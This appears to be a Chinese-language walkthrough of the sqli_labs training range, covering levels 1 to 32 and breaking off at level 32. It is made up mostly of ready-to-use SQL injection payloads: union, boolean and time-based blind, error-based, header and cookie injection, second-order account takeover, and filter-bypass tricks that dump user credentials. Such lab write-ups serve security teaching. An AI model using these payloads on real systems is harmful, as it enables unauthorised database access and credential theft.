目录
- 基础环境
- 所需知识
- 通关过程
- 通用思路
- 1.第一关
- 2.第二关
- 3.第三关
- 4.第四关
- 5.第五关
- 6.第六关
- 7.第七关
- 8.第八关
- 9.第九关
- 10.第十关
- 11.第十一关
- 12.第十二关
- 13.第十三关
- 14.第十四关
- 15.第十五关
- 16.第十六关
- 17.第十七关
- 18.第十八关
- 19.第十九关
- 20.第二十关
- 21.第二十一关
- 22.第二十二关
- 23.第二十三关
- 24.第二十四关
- 25.第二十五关
- 26.第二十六关
- 26.第二十六a关
- 27.第二十七关
- 27.第二十七a关
- 28.第二十八关
- 28.第二十八a关
- 29.第二十九关
- 30.第三十关
- 31.第三十一关
- 32.第三十二关
- 33.第三十三关
- 34.第三十四关
- 35.第三十五关
- 36.第三十六关
- 37.第三十七关
- 38.第三十八关
- 39.第三十九关
- 40.第四十关
- 41.第四十一关
- 42.第四十二关
- 43.第四十三关
- 44.第四十四关
- 45.第四十五关
- 46.第四十六关
- 47.第四十七关
- 48.第四十八关
- 49.第四十九关
- 50.第五十关
- 51.第五十一关
- 52.第五十二关
- 53.第五十三关
基础环境
靶场:sqli_labs
数据库环境:Mysql5.7.26(小皮面板)
所需知识
Mysql系统数据库
information_schema中的三个表
1.schemata:保存当前服务器中所有数据库的信息(库名,访问权限等等)
2.tables:保存当前服务器中所有数据表的信息(表名,访问权限等等)
3.columns:保存当前服务器中所有字段的信息(字段名称等)
union联合查询
union用来合并两个或多个 SELECT 语句的结果集
例如:
SELECT column1, column2, ...
FROM table1
UNION
SELECT column1, column2, ...
FROM table2;
联合查询特点:
1.前后两句互不干扰
2.查询数据大小一致
通关过程
通用思路
这里建议结合第二关的解析看
1.判断有无注入点
(1)通过.and 1 = 1
select * from user where name = $name and 1=1
(2).随便输入内容 报错即为有注入点,没报错就是没有注入点
2.猜解列名数量(字段数量)
order by+数字
3.报错,判断回显点
union
4.信息收集(越多越好)
收集数据库名,表明,字段名等等
5.使用对应的SQL注入
1.第一关
!先看第二关,看完第二关再看第一关!
这里又有一个概念,sql注入也是分类型的,分为数字型,字符型。
这里建议先去看看大佬的笔记:
理论篇8:SQL注入(字符型注入和数字型注入)
此时我们来判断
?id=1\
由于\ 的后面是单引号,因此是单引号类型,这是我们只需要在第二关的基础上加入单引号并且加入注释符(- -+)即可,例如
?id=-1' union select 1,2,3 --+
汇总:
?id=-1' union select 1,2,3 --+
?id=-1' union select 1,version(),3 --+
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' --+
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema = 'security' and table_name = 'users' --+
?id=-1' union select 1,(select group_concat(username,0x3a,password)from users),3 --+
2.第二关
2.1判断有无注入点
黄色字段提醒输入id,那就随机输入一个id
?id=1
此时页面有回显了,说明此地有注入点,第一步完成,接下来着手第二步
2.2猜解列名数量(字段数量)
判断字段数量,我们只需要用order by即可,利用order by+数字 我们一个个判断,知道页面回显出错误。
当进行到order by 4时,页面弹出错误,因此字段数为3
,由此我们可以进行第三步
2.3报错,判断回显点
此时需要我们用union联合函数进行回显点判断
,前提是要让前一句出现错误,否则页面会一致显示id=1时的内容,并不会显示union后面语句的内容
此时我们输入下列语句:
?id=-1 union select 1,2,3
页面回显为:
因此得出,在2和3的位置,进行sql注入
2.4信息收集
例如:
查询数据库名:
?id=-1 union select 1,database(),3
查询数据库版本:
?id=-1 union select 1,version(),3
2.5使用对应的SQL注入
此时我们就可以开始正式进行sql注入,只需要结合响应的sql语句就可以完成想查到的内容
此时还需要用两个函数
该函数用来分组,去重
group_concat()
下面的函数就用到了之前所说的系统数据库,不了解的可以回头看看,或者去百度细查
1.查找所有表名
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security'
2.查找所有列名
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema = 'security' and table_name = 'users'
3.查询用户名和密码
?id=-1 union select 1,(select group_concat(username,0x3a,password)from users),3
3.第三关
如图所示,这一关为单引号括号型,只需要加入’)和注释符即可,剩余过程跟前面一致
?id=-1') union select 1,2,3 --+
?id=-1') union select 1,version(),3 --+
?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' --+
?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema = 'security' and table_name = 'users' --+
?id=-1') union select 1,(select group_concat(username,0x3a,password)from users),3 --+
4.第四关
步骤跟前面一致
?id=-1") union select 1,2,3 --+
?id=-1") union select 1,version(),3 --+
?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' --+
?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema = 'security' and table_name = 'users' --+
?id=-1") union select 1,(select group_concat(username,0x3a,password)from users),3 --+
5.第五关
第五关使用联合注入没有回显,所以就需要有其他的东西判断依据,这里可以用到布尔盲注
布尔盲注原理:
Web页面只会返回True和False,那么布尔盲注就是进行SQL注入之后然后根据页面返回的True或者时False来得到数据库中的相关信息
即当页面正常显示时为True,没有显示时为False
在这一过程中需要用到几个函数
ascii() -把字符转化为ASCII码值
length() -返回字符段的长度
mid(a,b,c) -从b开始,截取a字符串的c位
// 判断数据库名的字符数(作为判断依据的数字需要不断变化进行尝试)
?id=1'and length((select database()))>10--+
?id=1'and length((select database()))>9--+
?id=1'and length((select database()))>8--+
?id=1'and length((select database()))>7--+
........
//挨个尝试,直到页面出现回显,从而判断出数据库是几个字符,下面的内容同理
//判断数据库名的第一个字符是什么
?id=1'and ascii(mid((select database()),1,1))=115--+
........
//判断数据库名的第二个字符是什么
?id=1'and ascii(mid((select database()),2,1))=101--+
........
//判断数据库名的第三个字符是什么
........
//以此推出数据库的名称
//下面的代码也跟上述思路一致,逐个推敲,知道达到要求
//判断出所有表名长度
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>10--+
//逐一判断出表名
?id=1'and ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
//判断出所有列名的长度
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
//逐一判断出列名
?id=1'and ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>50--+
6.第六关
第六关只是把第五关的单引号变成了双引号,跟第五关并没有什么太大的区别
// 判断数据库名的字符数(作为判断依据的数字需要不断变化进行尝试)
?id=1"and length((select database()))>10--+
//判断数据库名的第一个字符是什么
?id=1"and ascii(mid((select database()),1,1))=115--+
//判断出所有表名长度
?id=1"and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>10--+
//逐一判断出表名
?id=1"and ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
//判断出所有列名的长度
?id=1"and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
//逐一判断出列名
?id=1"and ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>50--+
7.第七关
这一关没有报错信息,所以依旧是采用布尔盲注,接下来只需要判断是什么类型的即可,由于\错误没有回显,所以采用该博客中的方法二
首先尝试:
?id=1’
?id=1”
结果一:如果都报错
判断闭合符为:整形闭合。
结果二:如果单引号报错,双引号不报错。
继续尝试
?id=1’ -- +
结果一:无报错
判断闭合符为:单引号闭合。
结果二:报错
判断闭合符可能为:单引号加括号。
结果三:如果单引号不报错,双引号报错。
继续尝试
?id=1" -- +
结果一:结果无报错
判断闭合符为:双引号闭合。
结果二:报错
判断闭合符可能为:双引号加括号。
按照上述判断方法来说应该为单引号加括号,但是在使用的时候明显发现不对,于是经过不断尝试,最后判断出来是?id=1’))类型
剩下的就跟前两关一样了
// 判断数据库名的字符数(作为判断依据的数字需要不断变化进行尝试)
?id=1'))and length((select database()))>10--+
//判断数据库名的第一个字符是什么
?id=1'))and ascii(mid((select database()),1,1))=115--+
//判断出所有表名长度
?id=1'))and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>10--+
//逐一判断出表名
?id=1'))and ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
//判断出所有列名的长度
?id=1'))and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
//逐一判断出列名
?id=1'))and ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>50--+
8.第八关
和前几关一样,只需要判断出id的类型就行这里为单引号型
// 判断数据库名的字符数(作为判断依据的数字需要不断变化进行尝试)
?id=1'and length((select database()))>10--+
//判断数据库名的第一个字符是什么
?id=1'and ascii(mid((select database()),1,1))=115--+
//判断出所有表名长度
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>10--+
//逐一判断出表名
?id=1'and ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
//判断出所有列名的长度
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
//逐一判断出列名
?id=1'and ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>50--+
9.第九关
在第九关经过尝试你会发现,不论你输入什么,它页面都不会有变化,因此不能采用布尔盲注,这里我们采用延时注入
原理:
通过时间差来判断
sleep() 括号中填秒数,使计算机程序(进程,任务或者线程)进入休眠
这里我们还需要用到if()判断,从而到达分支,进而造成两种分支之间的时间差来判断
延时注入思路:
1.利用mid等函数,把字段分成一个个的去猜
2.通过名字长度判断盲注难度大不大
3.ascii()函数 转换为ASCII值,通过这个使用二分法猜
结合上面的思路你会发现,其实它本质上与布尔盲注是一样的,唯一区别就是判断依据不同,布尔盲注是根据页面变化,而延时注入是通过时间差
//先判断参数类型
?id=1' and if(1=1,sleep(5),sleep(0)) --+
//判断数据库名长度
?id=1' and if(length((select database()))>8,sleep(5),sleep(0)) --+
//依次判断数据库名
?id=1' and if(ascii(mid((select database()),1,1))>115,sleep(5),sleep(0))--+
//判断所有表名长度
?id=1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>10,sleep(5),sleep(0)) --+
//依次判断表名
?id=1' and if(ascii(mid((select group_concat(table_name)from information_schema.tables where table_schema=database()),1,1))>100,sleep(5),sleep(0)) --+
//判断所有列名长度
?id=1' and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database()))>10,sleep(5),sleep(0)) --+
//依次判断列名
?id=1' and if(ascii(mid((select group_concat(column_name)from information_schema.columns where table_schema=database()),1,1))>100,sleep(5),sleep(0)) --+
10.第十关
跟第九关一致,唯一差别为数据类型为双引号
//先判断参数类型
?id=1" and if(1=1,sleep(5),sleep(0)) --+
//判断数据库名长度
?id=1" and if(length((select database()))>8,sleep(5),sleep(0)) --+
//依次判断数据库名
?id=1" and if(ascii(mid((select database()),1,1))>115,sleep(5),sleep(0))--+
//判断所有表名长度
?id=1" and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>10,sleep(5),sleep(0)) --+
//依次判断表名
?id=1" and if(ascii(mid((select group_concat(table_name)from information_schema.tables where table_schema=database()),1,1))>100,sleep(5),sleep(0)) --+
//判断所有列名长度
?id=1" and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database()))>10,sleep(5),sleep(0)) --+
//依次判断列名
?id=1" and if(ascii(mid((select group_concat(column_name)from information_schema.columns where table_schema=database()),1,1))>100,sleep(5),sleep(0)) --+
11.第十一关
第十一关这里与前十关很明显不是一个类型的,这里就要提及一下GET和POST两种提交方式了
GET
类型:主要是通过url传输数据到后台,带入到数据库中去执行
注入方式:可利用联合注入等方式直接注入
POST
提交方式主要适用于表单的提交,用于登录框的注入
注入方式:利用Burp Suite 抓包进行重放修改内容进行
返回结构主要为代码,可以转化为网页显示
因此我们就用到一个工具Burp Suite,有不懂的可以参考下大佬的文章
BurpSuite全套使用教程(超实用超详细介绍)
那么接下来就开始了
我们先随便输入几个用户名和密码
先开启拦截,再点击提交,获得包
在这里我们可以看到我们想要的数据,下面就开始操作,整体思路与前几个题目一致。
//在***处进行注入
uname=-1'***--+&passwd=12345&submit=Submit
//原理还是一样,报错注入,因此需要讲uname的值改为1
//除此之外,将后面passwd以及submit等内容注释掉,接下来就可以进行sql注入
//前面步骤一致,判断有无注入点,猜解列名数量(字段数量),报错,判断回显点
//查询库名
uname=1' union select 1,database() --+&passwd=12345&submit=Submit
//查询表名
uname=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema= 'security' --+&passwd=12345&submit=Submit
//查询所有用户
uname=1' union select 1,group_concat(column_name) from information_schema.columns where table_name= 'users'and table_schema= 'security'--+&passwd=12345&submit=Submit
//获取用户数据
uname=1' union select 1,(select group_concat(username,0x3a,password)from users) --+&passwd=242345&submit=Submit
12.第十二关
当我们依照第十一关做的时候,发现页面没有反应,因此是数据类型的问题,结合之前的数据类型判断的方法,此题为双引号且有括号
//查询库名
uname=1") union select 1,database() --+&passwd=12345&submit=Submit
//查询表名
uname=1") union select 1,group_concat(table_name) from information_schema.tables where table_schema= 'security' --+&passwd=12345&submit=Submit
//查询所有用户
uname=1") union select 1,group_concat(column_name) from information_schema.columns where table_name= 'users'and table_schema= 'security'--+&passwd=12345&submit=Submit
//获取用户数据
uname=1") union select 1,(select group_concat(username,0x3a,password)from users) --+&passwd=242345&submit=Submit
13.第十三关
这一关只有报错提示,其他提示都没有,那我们就用报错注入
这里有两个函数
updatexml():从目标XML中更新包含所查询值的字符串
第一个参数:XML document 是String格式,为XML文档对象的名称,文中为DOC
第二个参数:XPath_string(Xpath格式字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
例如:
updatexml (xML_document,XPath_String,new_value);
'union select 1,extractvalue(1,concat(0x7e,(select version())))%23
'or updatexml(1,concat(0x7e,database(),())or'
extractvalue():从目标XML中返回包含所查询值的字符串
第一个参数:XML document 是String格式,为XML文档对象的名称,文中为DOC
第二个参数:XPath_String(Xpath格式字符串)
例如:
extractvalue(XML document,XPath_String)
’or extractvalue(1,concat(0x7e,database())) or‘
//查询库名
uname=1') and extractvalue(1,concat(0x7e,(select database()))) --+&passwd=12345&submit=Submit
//查询表名
uname=1') and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))--+&passwd=12345&submit=Submit
//查询所有用户
uname=1')and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database())))--+&passwd=12345&submit=Submit
//获取用户数据
uname=1')and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users ))) --+&passwd=242345&submit=Submit
14.第十四关
跟第十三关大差不差,数据类型为双引号
//查询库名
uname=1" and extractvalue(1,concat(0x7e,(select database()))) --+&passwd=12345&submit=Submit
//查询表名
uname=1" and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))--+&passwd=12345&submit=Submit
//查询所有用户
uname=1" and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database())))--+&passwd=12345&submit=Submit
//获取用户数据
uname=1" and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users ))) --+&passwd=242345&submit=Submit
15.第十五关
第十五关没有任何消息,所以采用布尔注入
//判断数据类型
uname=1' or 1=1--+&passwd=12345&submit=Submit
//判断数据库名的字符数
uname=1' or length((select database()))>10 --+&passwd=12345&submit=Submit
//判断数据库名的第一个字符是什么
uname=1' or ascii(mid((select database()),1,1))>115 --+&passwd=12345&submit=Submit
//判断出所有表名长度
uname=1' or length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>10 --+&passwd=12345&submit=Submit
//逐一判断出表名
uname=1' or ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99 --+&passwd=12345&submit=Submit
//判断出所有列名的长度
uname=1' or length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20 --+&passwd=12345&submit=Submit
//逐一判断出列名
uname=1' or ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>50 --+&passwd=12345&submit=Submit
16.第十六关
第十六关跟十五关差不多,均为布尔注入,数据类型为双引号加括号
//判断数据类型
uname=1") or 1=1--+&passwd=12345&submit=Submit
//判断数据库名的字符数
uname=1") or length((select database()))>10 --+&passwd=12345&submit=Submit
//判断数据库名的第一个字符是什么
uname=1") or ascii(mid((select database()),1,1))>115 --+&passwd=12345&submit=Submit
//判断出所有表名长度
uname=1") or length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>10 --+&passwd=12345&submit=Submit
//逐一判断出表名
uname=1") or ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99 --+&passwd=12345&submit=Submit
//判断出所有列名的长度
uname=1") or length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20 --+&passwd=12345&submit=Submit
//逐一判断出列名
uname=1") or ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>50 --+&passwd=12345&submit=Submit
17.第十七关
第十七关就跟之前不一样了,PASSWORD RESET意思为密码重置,这是一个重置密码界面,
让我们来看看源码,
源码中有这么一个函数,在输入username的时候会用到它,我们大概来解读一下该函数的功能
//该函数返回检测PHP环境配置的值
//当该配置的值为1的时候,PHP就会对输入的单引号、双引号、反斜杠等字符转义(加反斜杠)
//当值为0的时候就不会转义
get_magic_quotes_gpc()
//该函数用于去除字符串里的反斜杠,也就是防止转义
stripslashes()
//该函数用于检测字符串是否为纯数字,是则返回true,不是返回false
ctype_digit()
//该函数用于转义SQL语句中的特殊字符串,导致闭合失败等问题,防止SQL注入
mysql_real_escape_string()
//该函数用于将字符串转化为纯数字
intval()
总的来说,username这一栏,但是源码中它并没有对password这一栏设防,因此我们只能从password下手。但是问题又来了,从源码中可以看到:接收到用户POST的uname和passwd后,首先根据uname查询数据库的username和password,若uname存在则用passwd替换password,
意思就是说在用户名正确后,页面才能返回有效信息
因此我们这里利用报错注入,并且username这一栏还必须用我们之前已知的用户名登录。
//查询库名
uname=admin&passwd=1' and (updatexml(1,concat(0x5c,database(),0x5c),1))#submit=Submit
//查询表名
uname=admin&passwd=1' and (updatexml(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c),1))#submit=Submit
//查询字段名
uname=admin&passwd=1' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database()),0x5c),1))#submit=Submit
18.第十八关
这里我们先看看源码
可见它这里对用户名和密码都做了防护,再结合黄色字段提示了IP地址,因此用到HTTP头部报错注入
结合源码我们便有了眉目
还有个小细节,我们需要想办法闭合VALUES,因此,第一个数据后面加入单引号,再语句结尾加入括号
这里我们先用Burp Suite抓取登录时的包
将字段User-Agent改为
1',1,updatexml(1,concat(0x5e,database()),1))#
此时页面有回显了,我们可以在Response字段中找到对应的值
后面的操作就一样了
//查找表名
1',1,updatexml(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c),1))#
//查找字段名
1',1,updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database()),0x5c),1))#
//查找用户数据
1',1,updatexml(1,(select group_concat(username,0x5e,password) from users),1))#
19.第十九关
这一关有一个referer字段,当输入用户名和密码正确时会弹出,印次我们这次只需要用BP抓包,再修改referer字段,进行sql注入,与上一关不同的是,referer只有两个字段
//查询库名
1',updatexml(1,concat(0x5e,database()),1))#
//查找表名
1',updatexml(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c),1))#
//查找字段名
1',updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database()),0x5c),1))#
//查找用户数据
1',updatexml(1,(select group_concat(username,0x5e,password) from users),1))#
20.第二十关
当我们输入正确的账号密码时,页面发生变化
此时页面会弹出你的Cookie值,这里我们利用Cookie进行注入
用BP抓包,修改cookie值
Cookie: uname=-1' union select 1,2,database()#
接下来的跟之前一样
//查询表名
Cookie: uname=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' #
//查询字段名
Cookie: uname=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema = 'security' and table_name = 'users' #
//查询用户数据
Cookie: uname=-1' union select 1,(select group_concat(username,0x3a,password)from users),3 #
21.第二十一关
第二十一关和第二十关一样,只不过cookie中的username字段被加密了,这里用的是base64加密,因此我们只需要将注入内容进行同样的加密即可
还有一点是,需要通过报错判断下数据类型,二十一关是括号。
22.第二十二关
与二十一关一致,数据类型为双引号
23.第二十三关
至此,Page1就此完结,开启Page2
这里是GET类型,还是老办法,判断数据类型,判断出为单引号形,但是进行下一步判断字段数量时出错,结合报错提示可以判断出是注释符被过滤掉了,
结合源码,果然被注释掉了
此时的sql语句为:
因此我们只能让前后都闭合,于是可以在语句后面加如or ‘1’='1,让后面的语句闭合。
所以:
//判断字段数量
?id=-1' union select 1,2,3,4 or '1'='1
//获取数据库名
?id=-1' union select 1,database(),3 or '1'='1
//获取表名
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' or '1'='1
//获取字段名
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema ='security' and table_name ='users' or '1'='1
//查询用户数据
?id=-1' union select 1,(select group_concat(username,0x3a,password)from users),3 or '1'='1
24.第二十四关
这一关的画风又不一样了,他在登陆前有仨页面,一个登录,一个注册,一个忘记密码(这个没有用),我们只需要关注登录和注册就可以,接下来看看源码
登录界面:
mysql_real_escape_string()函数,它用来对单引号,括号等字符进行转义,这里用户名和密码都用上了,因此不能从登录界面突破,所以我们转到注册界面
从代码中可以看出,这里也对账号和密码设防了,但是,它只是在调用sql语句的时候会进行转义,在注册成功后,数据存入数据库的过程中是不会转义的,因此这里我们选择进行注册一个用户进行登录。
这里我创建了一个名为test,密码为test的用户,并且成功登录进来
进来发现是个修改密码的页面,我们先不着急破解用户权限,先去看看数据库中的用户
可以看到我们创建的用户,这里我们假设admin是管理员,现在我们想的就是如何获得管理员用户,
正常情况下,我们是不会得到管理员账户的用户名和密码,通常情况下只能是爆破,或者通过经验猜,这里我们假设已经知道了用户名admin,接下来要做的就是获取它的密码
首先,退出登录,创建一个新用户,名为admin’#,密码随机,并且用这个账号密码登录
可以看到数据库中已经出现了这个账户的信息,这个用户名的单引号是为了完成闭合,既然已经闭合了,那么我们直接修改密码即可
修改完成后,可以看到,用户admin的密码被修改了,而我们创建的用户密码却没有,此时我们就获取到了管理员用户的密码。这个叫二次注入。
25.第二十五关
这又是一个关于GET类型的SQL注入,先看看页面信息,页面提示and 和 or不能使用,肯定是被替换掉了,但是也无所谓,我们使用双写绕过
// 原理:
代码中是将and和or替换为空,但是它只会替换一次
因此我们可以利用这个漏洞,把and写成aandnd,把or写成oorr,这样经过转义下来就是and和or了
这里只需要注意一点,information和password中也有or
//获取数据库名
?id=-1' union select 1,database(),3 --+
//获取表名
?id=-1' union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema='security' --+
//获取字段名
?id=-1' union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_schema ='security' aandnd table_name ='users' --+
//查询用户数据
?id=-1' union select 1,(select group_concat(username,0x3a,password)from users),3 --+
26.第二十六关
和二十五关差不多,只不过这次是空格,注释符,还有逻辑运算符不能使用,但我们只需要用别的转义语句替换就行,例如and=&&,or=||,空格=%09,%0a,%0b,%0c,%0d,%20,%a0,但有的浏览器因为一些其他原因,导致替换空格的语句有的不会生效,所以我们就得考虑有没有其他不使用空格的办法
有!报错注入
//获取数据库名
?id=1'||(updatexml(1,concat(0x5e,database(),0x5e),1))||'0
//获取表名
?id=1'||(updatexml(1,concat(0x5e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),0x5e),1))||'0
//获取字段名
?id=1'||(updatexml(1,concat(0x5e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security')),0x5e),1))||'0
//获取用户信息
?id=1'||(updatexml(1,concat(0x5e,(select(group_concat(username,0x5e,passwoorrd))from(users)),0x5e),1))||'0
26.第二十六a关
第二十六a关与二十六关看着差不多,但是你会发现报错没有回显,所以这里不能用报错注入,这里我们用布尔盲注
//判断数据类型(不断尝试即可)
?id=1')anandd('1
判断得到该数据类型为单引号加括号类型
//判断数据库名的字符数
?id=1')aandnd(length((database()))>1)aandnd('1
//判断数据库名的名称
?id=1')aandnd(ascii(mid((database()),1,1))>5)aandnd('1
//判断表名长度
?id=1')aandnd(length(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())))>5aandnd('1
//判断表名内容
?id=1')aandndascii(mid((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),1,1))>1anandd('1
//判断字段长度
?id=1')aandnd(length(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema=database())))>5aandnd('1
//判断字段内容
?id=1')aandndascii(mid((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema=database())),1,1))>1anandd('1
27.第二十七关
二十七关提示了它替换了字段“select”和‘union’,我们还是可以通过重写或者大小写来绕过,而且这次也没有替换and和or,其余的跟二十六关一样,所以我们还是用报错注入,数据类型为单引号型
//获取数据库名
?id=1'or(updatexml(1,concat(0x5e,database(),0x5e),1))or'0
//获取表名
?id=1'or(updatexml(1,concat(0x5e,(seseselectlectlect(group_concat(table_name))from(information_schema.tables)where(table_schema='security')),0x5e),1))or'0
//获取字段名
?id=1'||(updatexml(1,concat(0x5e,(seseselectlectlect(group_concat(column_name))from(information_schema.columns)where(table_schema='security'and(table_name='users'))),0x5e),1))||'0
//获取用户信息
?id=1'||(updatexml(1,concat(0x5e,(seseselectlectlect(group_concat(username,0x5e,passwoorrd))from(users)),0x5e),1))||'0
27.第二十七a关
二十七a关跟上面一样,只不过报错没有回显,数据类型为双引号型
//判断数据库名的字符数
?id=1"and(length((database()))>1)and"1
//判断数据库名的名称
?id=1"and(ascii(mid((database()),1,1))>5)and"1
//判断表名长度
?id=1"and(length(seseselectlectlect(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))>5and"1
//判断表名内容
?id=1"andascii(mid((seseselectlectlect(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),1,1))>1and"1
//判断字段长度
?id=1"and(length(seseselectlectlect(group_concat(column_name))from(information_schema.columns)where(table_schema=database())))>5and"1
//判断字段内容
?id=1"andascii(mid((seseselectlectlect(group_concat(column_name))from(information_schema.columns)where(table_schema=database())),1,1))>1and"1
28.第二十八关
二十八关还是老样子,限制了select和union还有特殊字符和空格,因此我们依旧是布尔盲注,本关的数据类型为单引号加括号
//判断数据库名的字符数
?id=')and(length((database()))>1)and('1
//判断数据库名的名称
?id=1')and(ascii(mid((database()),1,1))>5)and('1
//判断表名长度
?id=1')and(length(seseselectlectlect(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))>5and('1
//判断表名内容
?id=1')andascii(mid((seseselectlectlect(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),1,1))>1and('1
//判断字段长度
?id=1')and(length(seseselectlectlect(group_concat(column_name))from(information_schema.columns)where(table_schema=database())))>5and('1
//判断字段内容
?id=1')andascii(mid((seseselectlectlect(group_concat(column_name))from(information_schema.columns)where(table_schema=database())),1,1))>1and('1
28.第二十八a关
这一关与二十八关基本一样,连注入点也一样
//判断数据库名的字符数
?id=')and(length((database()))>1)and('1
//判断数据库名的名称
?id=1')and(ascii(mid((database()),1,1))>5)and('1
//判断表名长度
?id=1')and(length(seseselectlectlect(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))>5and('1
//判断表名内容
?id=1')andascii(mid((seseselectlectlect(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),1,1))>1and('1
//判断字段长度
?id=1')and(length(seseselectlectlect(group_concat(column_name))from(information_schema.columns)where(table_schema=database())))>5and('1
//判断字段内容
?id=1')andascii(mid((seseselectlectlect(group_concat(column_name))from(information_schema.columns)where(table_schema=database())),1,1))>1and('1
29.第二十九关
本题源码如下,由此可见这道题目会对id的值进行校验,看看其是否为数字,但是我们这里依旧是双写来绕过,写入两个id
//判断字段数量
?id=-1&id=-1' union select 1,2,3,4 --+
//获取数据库名
?id=-1&id=-1' union select 1,database(),3 --+
//获取表名
?id=-1&id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
//获取字段名
?id=-1&id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_schema ='security' and table_name ='users' --+
//查询用户数据
?id=-1&id=-1' union select 1,(select group_concat(username,0x3a,password)from users),3 --+
30.第三十关
这一关与前面没有什么太大区别,数据类型为双引号
//判断字段数量
?id=-1&id=-1" union select 1,2,3,4 --+
//获取数据库名
?id=-1&id=-1" union select 1,database(),3 --+
//获取表名
?id=-1&id=-1" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
//获取字段名
?id=-1&id=-1" union select 1,group_concat(column_name),3 from information_schema.columns where table_schema ='security' and table_name ='users' --+
//查询用户数据
?id=-1&id=-1" union select 1,(select group_concat(username,0x3a,password)from users),3 --+
31.第三十一关
与第三十关一致,数据类型为双引号加括号
//判断字段数量
?id=-1&id=-1") union select 1,2,3,4 --+
//获取数据库名
?id=-1&id=-1") union select 1,database(),3 --+
//获取表名
?id=-1&id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
//获取字段名
?id=-1&id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema ='security' and table_name ='users' --+
//查询用户数据
?id=-1&id=-1") union select 1,(select group_concat(username,0x3a,password)from users),3 --+
32.第三十二关
当输入反斜杠来检验数据类型的时候,回显为两个反斜杠,可以知道这个题特殊符号又被转义了,这时候我们就可以猜想数据库是否用了其他编码形式,这里用到了gbk编码,所以我们需要用%df让单引号逃逸,最后’user’同样也需要进行gbk编码
//判断字段数量
